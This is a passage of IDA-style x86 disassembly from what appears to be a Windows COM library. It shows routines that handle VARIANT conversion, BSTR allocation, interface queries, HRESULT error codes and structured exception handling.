		jmp	short loc_69B57CB3
; ---------------------------------------------------------------------------


loc_69B57C54:				; CODE XREF: sub_69B57B5C+E3j
		mov	eax, [edi]
		lea	ecx, [ebp-48h]
		push	ecx
		push	offset dword_69B2B020
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jz	short loc_69B57CC3
		mov	eax, [edi]
		lea	ecx, [ebp-48h]
		push	ecx
		push	offset dword_69B2B0D0
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jz	short loc_69B57CC3
		mov	eax, [edi]
		lea	ecx, [ebp-4Ch]
		push	ecx
		push	offset dword_69B57E84
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jnz	loc_69B57D70
		push	34h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-68h], ecx
		cmp	ecx, ebx
		jz	short loc_69B57CA8
		push	dword ptr [ebp-4Ch]
		call	sub_69B565AE
		jmp	short loc_69B57CAA
; ---------------------------------------------------------------------------


loc_69B57CA8:				; CODE XREF: sub_69B57B5C+140j
		xor	eax, eax


loc_69B57CAA:				; CODE XREF: sub_69B57B5C+14Aj
		mov	[ebp-40h], eax
		mov	eax, [esi+18h]
		mov	[ebp-6Ch], eax


loc_69B57CB3:				; CODE XREF: sub_69B57B5C+9Aj
					; sub_69B57B5C+CEj ...
		lea	ecx, [eax+24h]
		mov	eax, [ecx]
		push	dword ptr [ebp-40h]
		call	dword ptr [eax+3Ch]
		jmp	loc_69B57D59
; ---------------------------------------------------------------------------


loc_69B57CC3:				; CODE XREF: sub_69B57B5C+108j
					; sub_69B57B5C+11Aj
		push	34h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-70h], ecx
		cmp	ecx, ebx
		jz	short loc_69B57CE1
		mov	eax, [esi+18h]
		mov	[ebp-74h], eax
		push	eax
		call	sub_69B56509
		jmp	short loc_69B57CE3
; ---------------------------------------------------------------------------


loc_69B57CE1:				; CODE XREF: sub_69B57B5C+175j
		xor	eax, eax


loc_69B57CE3:				; CODE XREF: sub_69B57B5C+183j
		mov	[ebp-40h], eax
		mov	eax, [ebp-48h]
		mov	ecx, [eax]
		push	ebx
		push	dword ptr [ebp-40h]
		push	eax
		call	dword ptr [ecx+18h]
		jmp	short loc_69B57D59
; ---------------------------------------------------------------------------


loc_69B57CF5:				; CODE XREF: sub_69B57B5C+B0j
		push	8		; vt
		push	1		; wFlags
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax		; lcid
		lea	eax, [ebp+0Ch]
		push	eax		; pvarSrc
		lea	eax, [ebp-3Ch]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jnz	short loc_69B57D70
		cmp	[ebp-34h], ebx
		jz	short loc_69B57D70
		mov	ecx, [esi+18h]
		mov	[ebp-78h], ecx
		call	sub_69B3E0AB
		mov	byte ptr [ebp-4Dh], 1
		push	dword ptr [ebp-34h] ; lpString
		call	sub_69B1A587
		mov	[ebp-7Ch], eax
		mov	eax, [esi+18h]
		mov	ecx, eax
		mov	[ebp-80h], ecx
		mov	[ebp-84h], eax
		mov	al, [eax+8Ch]
		mov	[ebp-88h], al
		mov	eax, [ecx]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp-7Ch]
		call	dword ptr [eax+50h]


loc_69B57D59:				; CODE XREF: sub_69B57B5C+162j
					; sub_69B57B5C+197j
		mov	eax, [esi+18h]
		mov	[ebp-8Ch], eax
		lea	ecx, [eax+24h]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B57DAA
; ---------------------------------------------------------------------------


loc_69B57D70:				; CODE XREF: sub_69B57B5C+6Fj
					; sub_69B57B5C+12Cj ...
		mov	dword ptr [ebp-2Ch], 80070057h
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B57E1A
; ---------------------------------------------------------------------------


loc_69B57D80:				; DATA XREF: .text:69B57E9Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B57D89:				; DATA XREF: .text:69B57EA0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx
		mov	esi, [ebp+8]


loc_69B57DAA:				; CODE XREF: sub_69B57B5C+212j
		mov	dword ptr [ebp-4], 1
		mov	eax, [esi+18h]
		mov	[ebp-90h], eax
		mov	byte ptr [eax+0C9h], 1
		cmp	[ebp-4Dh], bl
		jz	short loc_69B57E01
		mov	ecx, [esi+18h]
		mov	[ebp-94h], ecx
		push	dword ptr [ebp-2Ch]
		call	sub_69B3E1E4
		jmp	short loc_69B57E01
; ---------------------------------------------------------------------------


loc_69B57DD9:				; DATA XREF: .text:69B57EA8o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B57DE2:				; DATA XREF: .text:69B57EACo
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		cmp	[ebp-2Ch], ebx
		jnz	short loc_69B57E01
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax


loc_69B57E01:				; CODE XREF: sub_69B57B5C+268j
					; sub_69B57B5C+27Bj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	[ebp-2Ch], ebx
		jge	short loc_69B57E1A
		cmp	dword ptr [ebp-2Ch], 80070005h
		jz	short loc_69B57E1A
		mov	dword ptr [ebp-2Ch], 1


loc_69B57E1A:				; CODE XREF: sub_69B57B5C+5Bj
					; sub_69B57B5C+21Fj ...
		xor	eax, eax
		cmp	[ebp-2Ch], ebx
		setnz	al
		dec	eax
		mov	ecx, [ebp+1Ch]
		mov	[ecx], ax
		lea	eax, [ebp-3Ch]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, [ebp-40h]
		cmp	eax, ebx
		jz	short loc_69B57E40
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B57E40:				; CODE XREF: sub_69B57B5C+2DCj
		mov	eax, [ebp-44h]
		cmp	eax, ebx
		jz	short loc_69B57E4D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B57E4D:				; CODE XREF: sub_69B57B5C+2E9j
		mov	eax, [ebp-4Ch]
		cmp	eax, ebx
		jz	short loc_69B57E5A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B57E5A:				; CODE XREF: sub_69B57B5C+2F6j
		mov	eax, [ebp-48h]
		cmp	eax, ebx
		jz	short loc_69B57E67
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B57E67:				; CODE XREF: sub_69B57B5C+303j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B57E7B:				; CODE XREF: sub_69B57B5C+23j
		call	sub_69B1853C
		retn	18h
sub_69B57B5C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B57E84	dd 0D97A6DA0h, 11CFA861h, 0A000AE93h, 0D82B0CC9h, 90909090h
					; DATA XREF: sub_69B57B5C+122o
dword_69B57E98	dd 0FFFFFFFFh			dd offset loc_69B57D80
		dd offset loc_69B57D89
		dd 0FFFFFFFFh
		dd offset loc_69B57DD9
		dd offset loc_69B57DE2

; =============== S U B	R O U T	I N E =======================================



sub_69B57EB0	proc near		; DATA XREF: .text:69B28F3Co
		push	24h
		push	offset dword_69B57F58
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_69B57ED4
		mov	eax, 80004005h
		jmp	short loc_69B57F4A
; ---------------------------------------------------------------------------


loc_69B57ED4:				; CODE XREF: sub_69B57EB0+1Bj
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	ebx
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	eax, [ebp+0Ch]
		cmp	eax, edi
		jnz	short loc_69B57F00
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	ebx
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B57F4A
; ---------------------------------------------------------------------------


loc_69B57F00:				; CODE XREF: sub_69B57EB0+38j
		mov	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	[ebp-30h], esi
		mov	esi, [esi+40h]
		mov	[ebp-34h], esi
		mov	[eax], esi
		jmp	short loc_69B57F33
; ---------------------------------------------------------------------------


loc_69B57F13:				; DATA XREF: .text:69B57F5Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B57F1C:				; DATA XREF: .text:69B57F60o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B57F33:				; CODE XREF: sub_69B57EB0+61j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B57F4A:				; CODE XREF: sub_69B57EB0+22j
					; sub_69B57EB0+4Ej
		call	sub_69B1853C
		retn	8
sub_69B57EB0	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B57F58	dd 0FFFFFFFFh			dd offset loc_69B57F13
		dd offset loc_69B57F1C

; =============== S U B	R O U T	I N E =======================================



sub_69B57F64	proc near		; DATA XREF: .text:69B28F40o
		push	28h
		push	offset dword_69B58028
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		test	ebx, ebx
		jnz	short loc_69B57F89
		mov	eax, 80004005h
		jmp	loc_69B5801B
; ---------------------------------------------------------------------------


loc_69B57F89:				; CODE XREF: sub_69B57F64+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	ebx
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jnz	short loc_69B57FB5
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	ebx
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B5801B
; ---------------------------------------------------------------------------


loc_69B57FB5:				; CODE XREF: sub_69B57F64+39j
		xor	ebx, ebx
		and	[ebp-4], ebx
		push	20h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-30h], ecx
		test	ecx, ecx
		jz	short loc_69B57FDE
		mov	eax, [esi+18h]
		mov	[ebp-34h], eax
		mov	eax, [eax+6Ch]
		mov	[ebp-38h], eax
		push	eax
		call	sub_69B5A7CD
		jmp	short loc_69B57FE0
; ---------------------------------------------------------------------------


loc_69B57FDE:				; CODE XREF: sub_69B57F64+64j
		xor	eax, eax


loc_69B57FE0:				; CODE XREF: sub_69B57F64+78j
		mov	[edi], eax
		jmp	short loc_69B58004
; ---------------------------------------------------------------------------


loc_69B57FE4:				; DATA XREF: .text:69B5802Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B57FED:				; DATA XREF: .text:69B58030o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B58004:				; CODE XREF: sub_69B57F64+7Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B5801B:				; CODE XREF: sub_69B57F64+20j
					; sub_69B57F64+4Fj
		call	sub_69B1853C
		retn	8
sub_69B57F64	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B58028	dd 0FFFFFFFFh			dd offset loc_69B57FE4
		dd offset loc_69B57FED

; =============== S U B	R O U T	I N E =======================================



sub_69B58034	proc near		; DATA XREF: .text:69B28F44o
		push	30h
		push	offset dword_69B58100
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		test	ebx, ebx
		jnz	short loc_69B58059
		mov	eax, 80004005h
		jmp	loc_69B580F3
; ---------------------------------------------------------------------------


loc_69B58059:				; CODE XREF: sub_69B58034+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	ebx
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jnz	short loc_69B58085
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	ebx
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B580F3
; ---------------------------------------------------------------------------


loc_69B58085:				; CODE XREF: sub_69B58034+39j
		xor	ebx, ebx
		and	[ebp-4], ebx
		mov	esi, [esi+18h]
		mov	[ebp-30h], esi
		mov	eax, [esi+48h]
		mov	[ebp-34h], eax
		mov	[ebp-38h], eax
		test	eax, eax
		jz	short loc_69B580B1
		mov	ecx, [eax+0Ch]
		mov	[ebp-3Ch], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B580DC
; ---------------------------------------------------------------------------


loc_69B580B1:				; CODE XREF: sub_69B58034+67j
		and	dword ptr [edi], 0
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-40h], ebx
		jmp	short loc_69B580DC
; ---------------------------------------------------------------------------


loc_69B580BC:				; DATA XREF: .text:69B58104o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B580C5:				; DATA XREF: .text:69B58108o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B580DC:				; CODE XREF: sub_69B58034+7Bj
					; sub_69B58034+86j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B580F3:				; CODE XREF: sub_69B58034+20j
					; sub_69B58034+4Fj
		call	sub_69B1853C
		retn	8
sub_69B58034	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B58100	dd 0FFFFFFFFh			dd offset loc_69B580BC
		dd offset loc_69B580C5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5810C	proc near		; DATA XREF: .text:69B28F48o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B58126
		mov	eax, 80004005h
		jmp	short loc_69B58168
; ---------------------------------------------------------------------------


loc_69B58126:				; CODE XREF: sub_69B5810C+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_10]
		push	edi
		call	sub_69B18B3B
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jnz	short loc_69B58144
		mov	esi, 80070057h
		jmp	short loc_69B58156
; ---------------------------------------------------------------------------


loc_69B58144:				; CODE XREF: sub_69B5810C+2Fj
		mov	ecx, [esi+18h]
		mov	cl, [ecx+8Ch]
		neg	cl
		sbb	ecx, ecx
		mov	[eax], cx
		xor	esi, esi


loc_69B58156:				; CODE XREF: sub_69B5810C+36j
		lea	ecx, [ebp+var_10]
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B58168:				; CODE XREF: sub_69B5810C+18j
		pop	edi
		leave
		retn	8
sub_69B5810C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5816D	proc near		; DATA XREF: .text:69B28F4Co

var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B58187
		mov	eax, 80004005h
		jmp	short loc_69B581C9
; ---------------------------------------------------------------------------


loc_69B58187:				; CODE XREF: sub_69B5816D+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_14]
		push	edi
		call	sub_69B43E1C
		cmp	[ebp+var_10], 0
		jnz	short loc_69B581A4
		mov	esi, 80004005h
		jmp	short loc_69B581B7
; ---------------------------------------------------------------------------


loc_69B581A4:				; CODE XREF: sub_69B5816D+2Ej
		cmp	[ebp+arg_4], 0
		mov	ecx, [esi+18h]
		setnz	al
		mov	[ecx+8Ch], al
		xor	esi, esi


loc_69B581B7:				; CODE XREF: sub_69B5816D+35j
		lea	ecx, [ebp+var_14]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B581C9:				; CODE XREF: sub_69B5816D+18j
		pop	edi
		leave
		retn	8
sub_69B5816D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B581CE	proc near		; DATA XREF: .text:69B28F50o
		push	1Ch
		push	offset dword_69B58268
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B581F0
		mov	eax, 80004005h
		jmp	short loc_69B58259
; ---------------------------------------------------------------------------


loc_69B581F0:				; CODE XREF: sub_69B581CE+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	[ebp-4], edi
		mov	esi, [esi+18h]
		mov	[ebp-2Ch], esi
		mov	ebx, [esi]
		push	edi
		mov	eax, 0C00CE216h
		push	eax
		push	eax
		call	sub_69B2E8CC
		add	esp, 0Ch
		push	eax
		mov	ecx, esi
		call	dword ptr [ebx+64h]
		jmp	short loc_69B58242
; ---------------------------------------------------------------------------


loc_69B58222:				; DATA XREF: .text:69B5826Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5822B:				; DATA XREF: .text:69B58270o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B58242:				; CODE XREF: sub_69B581CE+52j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B58259:				; CODE XREF: sub_69B581CE+20j
		call	sub_69B1853C
		retn	4
sub_69B581CE	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B58268	dd 0FFFFFFFFh			dd offset loc_69B58222
		dd offset loc_69B5822B

; =============== S U B	R O U T	I N E =======================================



sub_69B58274	proc near		; DATA XREF: .text:69B28F54o
		push	30h
		push	offset dword_69B58390
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B58299
		mov	eax, 80004005h
		jmp	loc_69B58381
; ---------------------------------------------------------------------------


loc_69B58299:				; CODE XREF: sub_69B58274+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	[ebp-2Ch], edi
		mov	[ebp-4], edi
		mov	ecx, [esi+18h]
		mov	[ebp-30h], ecx
		call	sub_69B3E0AB
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	[ebp-34h], eax
		mov	ecx, [esi+18h]
		mov	[ebp-38h], ecx
		push	eax
		call	sub_69B3F10D
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B58300
; ---------------------------------------------------------------------------


loc_69B582D6:				; DATA XREF: .text:69B58394o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B582DF:				; DATA XREF: .text:69B58398o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax
		mov	[ebp-2Ch], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp+8]


loc_69B58300:				; CODE XREF: sub_69B58274+60j
		mov	dword ptr [ebp-4], 1
		mov	eax, [esi+18h]
		mov	[ebp-3Ch], eax
		mov	byte ptr [eax+0C9h], 1
		mov	ecx, [esi+18h]
		mov	[ebp-40h], ecx
		push	edi
		call	sub_69B3E1E4
		jmp	short loc_69B58349
; ---------------------------------------------------------------------------


loc_69B58322:				; DATA XREF: .text:69B583A0o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5832B:				; DATA XREF: .text:69B583A4o
		mov	esp, [ebp-18h]
		mov	edi, [ebp-2Ch]
		test	edi, edi
		jnz	short loc_69B58349
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B58349:				; CODE XREF: sub_69B58274+ACj
					; sub_69B58274+BFj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	edi, edi
		jge	short loc_69B5835C
		cmp	edi, 80070005h
		jz	short loc_69B5835C
		xor	edi, edi
		inc	edi


loc_69B5835C:				; CODE XREF: sub_69B58274+DBj
					; sub_69B58274+E3j
		mov	eax, [ebp+10h]
		test	eax, eax
		jz	short loc_69B5836E
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		dec	ecx
		mov	[eax], cx


loc_69B5836E:				; CODE XREF: sub_69B58274+EDj
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B58381:				; CODE XREF: sub_69B58274+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B58274	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B58390	dd 0FFFFFFFFh			dd offset loc_69B582D6
		dd offset loc_69B582DF
		dd 0FFFFFFFFh
		dd offset loc_69B58322
		dd offset loc_69B5832B

; =============== S U B	R O U T	I N E =======================================



sub_69B583A8	proc near		; DATA XREF: .text:69B28F58o
		push	6Ch
		push	offset dword_69B585F0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B583CD
		mov	eax, 80004005h
		jmp	loc_69B585E8
; ---------------------------------------------------------------------------


loc_69B583CD:				; CODE XREF: sub_69B583A8+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	word ptr [ebp-38h], 1
		mov	[ebp-3Ch], edi
		mov	[ebp-40h], edi
		mov	[ebp-44h], edi
		mov	[ebp-48h], edi
		mov	[ebp-4Ch], edi
		mov	[ebp-4], edi
		push	edi
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_69B88597
		mov	ebx, eax
		mov	[ebp-50h], ebx
		cmp	ebx, edi
		jz	loc_69B584F6
		mov	eax, [ebx]
		lea	ecx, [ebp-40h]
		push	ecx
		push	offset dword_69B2AFF0
		push	ebx
		call	dword ptr [eax]
		test	eax, eax
		jnz	short loc_69B58428
		mov	eax, [esi+18h]
		mov	[ebp-54h], eax
		jmp	loc_69B584A8
; ---------------------------------------------------------------------------


loc_69B58428:				; CODE XREF: sub_69B583A8+73j
		mov	eax, [ebx]
		lea	ecx, [ebp-44h]
		push	ecx
		push	offset dword_69B2B000
		push	ebx
		call	dword ptr [eax]
		test	eax, eax
		jnz	short loc_69B5844D
		push	dword ptr [ebp-44h]
		call	sub_69B38858
		mov	[ebp-40h], eax
		mov	eax, [esi+18h]
		mov	[ebp-58h], eax
		jmp	short loc_69B584A8
; ---------------------------------------------------------------------------


loc_69B5844D:				; CODE XREF: sub_69B583A8+90j
		mov	eax, [ebx]
		lea	ecx, [ebp-4Ch]
		push	ecx
		push	offset dword_69B2B020
		push	ebx
		call	dword ptr [eax]
		test	eax, eax
		jz	short loc_69B584C5
		mov	eax, [ebx]
		lea	ecx, [ebp-4Ch]
		push	ecx
		push	offset dword_69B2B0D0
		push	ebx
		call	dword ptr [eax]
		test	eax, eax
		jz	short loc_69B584C5
		mov	eax, [ebx]
		lea	ecx, [ebp-48h]
		push	ecx
		push	offset dword_69B28DD8
		push	ebx
		call	dword ptr [eax]
		test	eax, eax
		jnz	short loc_69B584B9
		push	34h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-5Ch], ecx
		cmp	ecx, edi
		jz	short loc_69B5849D
		push	dword ptr [ebp-48h]
		call	sub_69B5656B
		jmp	short loc_69B5849F
; ---------------------------------------------------------------------------


loc_69B5849D:				; CODE XREF: sub_69B583A8+E9j
		xor	eax, eax


loc_69B5849F:				; CODE XREF: sub_69B583A8+F3j
		mov	[ebp-40h], eax
		mov	eax, [esi+18h]
		mov	[ebp-60h], eax


loc_69B584A8:				; CODE XREF: sub_69B583A8+7Bj
					; sub_69B583A8+A3j
		lea	ecx, [eax+24h]
		mov	eax, [ecx]
		push	edi
		push	dword ptr [ebp-40h]
		call	dword ptr [eax+40h]
		jmp	loc_69B58541
; ---------------------------------------------------------------------------


loc_69B584B9:				; CODE XREF: sub_69B583A8+D9j
					; sub_69B583A8+169j ...
		mov	dword ptr [ebp-3Ch], 80070057h
		jmp	loc_69B58569
; ---------------------------------------------------------------------------


loc_69B584C5:				; CODE XREF: sub_69B583A8+B5j
					; sub_69B583A8+C7j
		push	34h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-64h], ecx
		cmp	ecx, edi
		jz	short loc_69B584E3
		mov	eax, [esi+18h]
		mov	[ebp-68h], eax
		push	eax
		call	sub_69B56509
		jmp	short loc_69B584E5
; ---------------------------------------------------------------------------


loc_69B584E3:				; CODE XREF: sub_69B583A8+12Bj
		xor	eax, eax


loc_69B584E5:				; CODE XREF: sub_69B583A8+139j
		mov	[ebp-40h], eax
		mov	eax, [ebp-4Ch]
		mov	ecx, [eax]
		push	dword ptr [ebp-40h]
		push	eax
		call	dword ptr [ecx+14h]
		jmp	short loc_69B58541
; ---------------------------------------------------------------------------


loc_69B584F6:				; CODE XREF: sub_69B583A8+5Dj
		push	8		; vt
		push	1		; wFlags
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax		; lcid
		lea	eax, [ebp+0Ch]
		push	eax		; pvarSrc
		lea	eax, [ebp-38h]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jnz	short loc_69B584B9
		cmp	[ebp-30h], edi
		jz	short loc_69B584B9
		mov	eax, [esi+18h]
		mov	[ebp-6Ch], eax
		cmp	[eax+1Ch], edi
		jz	short loc_69B5852C
		mov	dword ptr [ebp-3Ch], 80070005h
		jmp	short loc_69B58569
; ---------------------------------------------------------------------------


loc_69B5852C:				; CODE XREF: sub_69B583A8+179j
		mov	[ebp-70h], eax
		push	edi
		push	dword ptr [ebp-30h] ; lpString
		call	sub_69B1A587
		push	eax
		mov	ecx, [ebp-70h]
		call	sub_69B3E662


loc_69B58541:				; CODE XREF: sub_69B583A8+10Cj
					; sub_69B583A8+14Cj
		mov	eax, [ebp-40h]
		cmp	eax, edi
		jz	short loc_69B58569
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	[ebp-40h], edi
		mov	esi, [esi+18h]
		mov	[ebp-74h], esi
		mov	ecx, [esi+6Ch]
		mov	[ebp-78h], ecx
		mov	[ebp-7Ch], ecx
		cmp	ecx, edi
		jz	short loc_69B58569
		call	sub_69B2E875


loc_69B58569:				; CODE XREF: sub_69B583A8+118j
					; sub_69B583A8+182j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B58596
; ---------------------------------------------------------------------------


loc_69B5856F:				; DATA XREF: .text:69B585F4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B58578:				; DATA XREF: .text:69B585F8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-3Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	edi, edi


loc_69B58596:				; CODE XREF: sub_69B583A8+1C5j
		lea	eax, [ebp-38h]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, [ebp-40h]
		cmp	eax, edi
		jz	short loc_69B585AD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B585AD:				; CODE XREF: sub_69B583A8+1FDj
		mov	eax, [ebp-44h]
		cmp	eax, edi
		jz	short loc_69B585BA
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B585BA:				; CODE XREF: sub_69B583A8+20Aj
		mov	eax, [ebp-4Ch]
		cmp	eax, edi
		jz	short loc_69B585C7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B585C7:				; CODE XREF: sub_69B583A8+217j
		mov	eax, [ebp-48h]
		cmp	eax, edi
		jz	short loc_69B585D4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


